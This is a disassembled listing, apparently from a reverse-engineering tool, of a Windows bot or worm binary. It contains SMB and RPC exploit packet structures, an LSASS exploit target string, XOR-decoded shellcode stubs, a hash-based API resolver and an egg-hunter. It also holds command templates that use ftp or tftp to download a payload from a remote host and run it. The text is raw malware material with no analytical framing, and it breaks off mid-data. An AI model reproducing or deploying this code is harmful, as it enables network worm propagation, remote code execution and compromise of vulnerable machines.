DATA XREF: ___:00426C70o ; "F@" off_4274DC dd offset aThBySS_ ; DATA XREF: ___:00426C6Co ; "th by: (%s!%s)." off_4274E0 dd offset word_544F42 ; DATA XREF: ___:off_426C68o unk_4274E4 db 2 ; DATA XREF: sub_402688+2FCo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0 align 4 unk_427528 db 2 ; DATA XREF: sub_402688+2ABo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0 align 4 aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_402688+235o align 4 unk_427578 db 2 ; DATA XREF: sub_402688+186o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0 align 10h unk_4275C0 db 2 ; DATA XREF: sub_402688+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0 align 4 unk_427604 db 2 ; DATA XREF: sub_402688+85o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0 dword_427648 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_402DD7+E1o ; sub_402DD7+21Bo dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_427694 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_402B84+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4279F8 dd 20h, 0 ; DATA XREF: sub_402B84+136o dd 20h, 5C005Ch, 0 off_427A0C dd offset off_43005C ; DATA XREF: sub_402B84+15Do a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 dd 0 dword_427A4C dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B84+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) off_427A80 dd offset word_580046 ; DATA XREF: sub_402B84+45o dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_427B5C dd 18759Fh ; DATA XREF: sub_402B84+104o dword_427B60 dd 100139Dh ; DATA XREF: sub_402B84+FBo asc_427B64: ; DATA XREF: sub_4029E9+1Co ; sub_402ACC+16o unicode 0, <\\>,0 align 4 off_427B6C dd offset dword_49005C ; DATA XREF: sub_4029E9+Co ; sub_402ACC+Bo dd offset off_430050 dd 24h unk_427B78 db 2 ; DATA XREF: sub_402DD7+299o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTransferComple db ' transfer complete to IP: %s',0 align 10h aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DD7+41o align 8 jmp short loc_427BDA ; =============== S U B R O U T I N E ======================================= sub_427BCA proc far ; CODE XREF: sub_427BCA:loc_427BDAp pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_427BD2: ; CODE XREF: sub_427BCA+Cj xor byte ptr [ebx+ecx], 99h loop loc_427BD2 jmp short loc_427BDF ; --------------------------------------------------------------------------- loc_427BDA: ; CODE XREF: ___:00427BC8j call near ptr sub_427BCA loc_427BDF: ; CODE XREF: sub_427BCA+Ej jo short loc_427C43 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_427C61 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_427C43: ; CODE XREF: sub_427BCA:loc_427BDFj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_427C61: ; CODE XREF: sub_427BCA+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_427BCA endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_427D08: ; DATA XREF: sub_403249+156o ; sub_403249+212o jmp short loc_427D1A ; =============== S U B R O U T I N E ======================================= sub_427D0A proc near ; CODE XREF: sub_427D0A:loc_427D1Ap pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_427D12: ; CODE XREF: sub_427D0A+Cj xor byte ptr [edx+ecx], 99h loop loc_427D12 jmp short loc_427D1F ; --------------------------------------------------------------------------- loc_427D1A: ; CODE XREF: ___:loc_427D08j call sub_427D0A loc_427D1F: ; CODE XREF: sub_427D0A+Ej jo short near ptr dword_427C98+1Eh cwde cdq cdq retn sub_427D0A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_427DB8 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_403249+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_427EA0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:0040370Do dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_427F2C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00403739o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_427FD8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00403760o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4280B8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_403249+8Ao unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_42811C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_428188 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42822C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4282AC dd offset loc_401493+2 ; DATA XREF: sub_403249+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_428340 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4283AC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_428420 dd 0 ; DATA XREF: sub_403249+35Fo dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 3 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_4284E0 dd 1004600h ; DATA XREF: sub_403249+140r ; sub_403249+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) dword_428598 dd 0A0D7325h, 0 ; DATA XREF: sub_4030E8+102o ; sub_405144+DFo ... aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: sub_4030E8+BEo db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030E8+97o ; --------------------------------------------------------------------------- loc_428620: ; DATA XREF: sub_403249+177o jmp short loc_428628 ; --------------------------------------------------------------------------- jmp short loc_42862A ; --------------------------------------------------------------------------- align 8 loc_428628: ; CODE XREF: ___:loc_428620j ; DATA XREF: sub_403249+27o pop esp pop esp loc_42862A: ; CODE XREF: ___:00428622j and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_428634 dd 1CEC8166h ; DATA XREF: sub_403249+Dr dword_428638 dd 0E4FF07h ; DATA XREF: sub_403249+16r byte_42863C db 90h ; DATA XREF: sub_403A90+B2o db 42h, 90h, 42h db 90h dd offset word_429042 align 4 dword_428648 dd 10FF8h, 0 ; DATA XREF: sub_403A90+6Ao dword_428650 dd 10FF8h ; DATA XREF: sub_403A90+79o dword_428654 dd 7FFDF020h, 0 ; DATA XREF: sub_403A90+162o dword_42865C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_403EBA+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4286E4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403EBA+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_428714 dd 0 ; DATA XREF: sub_403EBA+44o dd 800000D4h, 0 unk_428720 db 81h ; ; DATA XREF: sub_403F94+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_42876C db 41h ; DATA XREF: sub_404032+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_4287B0 proc near ; DATA XREF: ___:0040430Fo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_4288AC push dword ptr [esi] push 63D61209h call sub_4288C2 mov [esi+8], eax call sub_428875 push dword ptr [esi+4] push 0CA2BD06Bh call sub_4288C2 mov [esi+0Ch], eax call sub_428827 push dword ptr [esi+4] push 4C0297FAh call sub_4288C2 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_4287B0 endp ; =============== S U B R O U T I N E ======================================= sub_428827 proc near ; CODE XREF: sub_4287B0+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_428850 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_428827 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428850 proc near ; CODE XREF: sub_428827+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_42885F: ; CODE XREF: sub_428850+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_42886C inc ebx jmp short loc_42885F ; --------------------------------------------------------------------------- loc_42886C: ; CODE XREF: sub_428850+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_428850 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428875 proc near ; CODE XREF: sub_4287B0+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_42888D: ; CODE XREF: sub_428875+1Ej cmp [ecx], ebx jz short loc_428895 mov ecx, [ecx] jmp short loc_42888D ; --------------------------------------------------------------------------- loc_428895: ; CODE XREF: sub_428875+1Aj mov edx, edi loc_428897: ; CODE XREF: sub_428875+2Aj cmp [edx+4], ebx jz short loc_4288A1 mov edx, [edx+4] jmp short loc_428897 ; --------------------------------------------------------------------------- loc_4288A1: ; CODE XREF: sub_428875+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_428875 endp ; =============== S U B R O U T I N E ======================================= sub_4288AC proc near ; CODE XREF: sub_4287B0+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_4288AC endp ; =============== S U B R O U T I N E ======================================= sub_4288C2 proc near ; CODE XREF: sub_4287B0+16p ; sub_4287B0+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4288D8: ; CODE XREF: sub_4288C2+33j jecxz short loc_428912 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4288E5: ; CODE XREF: sub_4288C2+2Dj lodsb cmp al, ah jz short loc_4288F1 ror edi, 0Dh add edi, eax jmp short loc_4288E5 ; --------------------------------------------------------------------------- loc_4288F1: ; CODE XREF: sub_4288C2+26j cmp edi, [esp+20h+arg_0] jnz short loc_4288D8 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_428912: ; CODE XREF: sub_4288C2:loc_4288D8j ; sub_4288C2:loc_428912j jmp short loc_428912 sub_4288C2 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_428918 proc near ; DATA XREF: ___:004042BFo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_42896A mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_428935: ; CODE XREF: sub_428918+38j jecxz short loc_428965 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_428940: ; CODE XREF: sub_428918+32j lodsb test al, al jz short loc_42894C ror edx, 0Dh add edx, eax jmp short loc_428940 ; --------------------------------------------------------------------------- loc_42894C: ; CODE XREF: sub_428918+2Bj cmp edx, [esp+arg_0] jnz short loc_428935 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_428965: ; CODE XREF: sub_428918:loc_428935j mov [esp+arg_0], ebx retn sub_428918 endp ; =============== S U B R O U T I N E ======================================= sub_42896A proc near ; CODE XREF: sub_428918+7p ; FUNCTION CHUNK AT 004289A2 SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_428983 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_42898E ; --------------------------------------------------------------------------- loc_428983: ; CODE XREF: sub_42896A+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_42898E: ; CODE XREF: sub_42896A+14j pop edi xor esi, esi pusha push esi jmp short loc_4289A2 sub_42896A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428995 proc near ; CODE XREF: sub_42896A:loc_4289A2p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_428995 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42896A loc_4289A2: ; CODE XREF: sub_42896A+29j call sub_428995 loc_4289A7: ; DATA XREF: sub_403A35+1Bo ; sub_40EE72+822o add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_42896A ; --------------------------------------------------------------------------- db 3 dup(0) dword_4289AC dd 60h ; DATA XREF: sub_403A90+320o dword_4289B0 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A90+2F5o dword_4289BC dd 30h ; DATA XREF: sub_403A90+2CAo ; ___:0042FA1Co dword_4289C0 dd 0A1h ; DATA XREF: sub_403A90+29Fo dword_4289C4 dd 3 ; DATA XREF: sub_403A90+246o aCccc db 'CCCC',0 ; DATA XREF: sub_403A90+153o align 10h loc_4289D0: ; DATA XREF: sub_403A90+E8o jmp short near ptr dword_4289D8 ; --------------------------------------------------------------------------- align 8 dword_4289D8 dd 0 ; CODE XREF: ___:loc_4289D0j aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: ___:004042E4o ; sub_404F9A+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_428A50 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:00404BFFo ; --------------------------------------------------------------------------- loc_428A5C: ; CODE XREF: ___:00428A66j xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_428A5C inc edi jz short loc_428AA3 and eax, 952CE753h inc esp jle short loc_428ACB push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_428AA3: ; CODE XREF: ___:00428A69j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_428B02+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_428AC8: ; CODE XREF: ___:00428AF5j xor [esi-25h], bl loc_428ACB: ; CODE XREF: ___:00428A71j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_428AE4: ; CODE XREF: ___:00428B17j rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_428AC8 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_428B02: ; CODE XREF: ___:00428AA9j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_428B8E jo short loc_428AE4 fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_428B25+1 add bl, [edi] loc_428B25: ; CODE XREF: ___:00428B21j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_428B3A+2 cmp ch, bh dec edx loc_428B3A: ; CODE XREF: ___:00428B35j xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 